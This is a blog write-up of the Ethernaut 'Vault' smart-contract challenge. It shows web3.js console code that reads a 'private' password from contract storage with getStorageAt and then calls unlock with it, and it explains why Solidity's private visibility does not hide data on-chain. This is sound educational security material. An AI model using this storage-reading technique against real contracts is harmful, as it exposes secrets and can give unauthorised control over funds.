Vault - Level 08
Tags: 100daystooffload, ethernaut, ethereum, solidity
Published: 2023-08-21 20:41:23

## Problem statement

Unlock the vault to pass the level!

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}
```

## Solution

Start with creating a new contract for the current level by clicking on the button, **Get new instance**. Remember to have enough eth in the connected wallet and that it's connected to the Sepolia network.

Open up the developer tool in your browser (F12) and in the console write this code.

```javascript
const password = await web3.eth.getStorageAt(contract.address, 1)
```

With the password in our hands we can call the unlock function on the contract.

```javascript
await contract.unlock(password)
```

Sign the transaction and wait for it to go through. Finish up the challenge by clicking on the button, **Submit instance**, to commit and update the progress on the ethernaut contract.

## Explanation

It's important to know that everything is readable on the blockchain, unless you encrypt the data to obfuscate it.

The lesson here is to understand the [visibility](https://docs.soliditylang.org/en/latest/contracts.html#visibility-and-getters) of state variables in a Solidity contract. `private` only defines that other contracts can't read or modify the state variable. From the Solidity documentation we can also read the following warning:

> Making something `private` or `internal` only prevents other contracts from reading or modifying the information, but it will still be visible to the whole world outside of the blockchain.

With this knowledge we only need to figure out how to read the value from the deployed contract. There is a [JSON-RPC](https://www.jsonrpc.org/specification) API implemented in each Ethereum node in order for applications to interact with Ethereum, more about the API can be found [here](https://github.com/ethereum/execution-apis). Thankfully we have access to the web3js library on the web application which enables us to use this API.

By using the function, `getStorageAt`, that is defined in the API we can read the value from a storage position at a given address.

```javascript
web3.eth.getStorageAt(address, position [, defaultBlock] [, callback])
```
 
[web3js](https://web3js.readthedocs.io/en/v1.10.0/web3-eth.html#getstorageat) has the details about the parameters needed for the function. By using the function like this.

```javascript
await web3.eth.getStorageAt(contract.address, 0)
```

We will get the first position of the storage. Since the contract looks like this.

```solidity
contract Vault {
  bool public locked;
  bytes32 private password;
```

Its not unreasonable to think that **0** points to the variable **locked**. We can check it by converting the hex number in the result to a [number](https://web3js.readthedocs.io/en/v1.10.0/web3-utils.html#hextonumber) and then cast it to a boolean.

```javascript
Boolean(await web3.eth.getStorageAt(contract.address, 0).then(r => web3.utils.hexToNumber(r)))
```

The output of that code seems correct. If we do the same exercise with the next position. This time we will convert it to a [ASCII](https://web3js.readthedocs.io/en/v1.10.0/web3-utils.html#hextoascii) string instead, since we think it's the password state variable.

```javascript
await web3.eth.getStorageAt(contract.address, 1).then(r => web3.utils.hexToAscii(r))
```

That gives us the string, `A very strong secret password :)`, which seems to be exactly what we are looking for.

Now this code looks breakable for us.

```solidity
  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
```

We have the password so now there is no problem to fulfill the condition to set the private state variable, `locked`, to `false`.

```javascript
await contract.unlock(password)
```

In the solution section we stored the password in the hex format received from the `getStorageAt` call, so there is no need here to convert the variable to `bytes32` which is the type expected by the function. 

Last, the take away from the level author.

![Take away](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4d8f7tnqag4fn48iij2r.png)

## Resources

* [Vault](https://ethernaut.openzeppelin.com/level/8) - This challenge
* [Remix](https://remix.ethereum.org/) - Web based IDE for Solidity
* [Solidity](https://docs.soliditylang.org/en/v0.8.21/) - Solidity documentation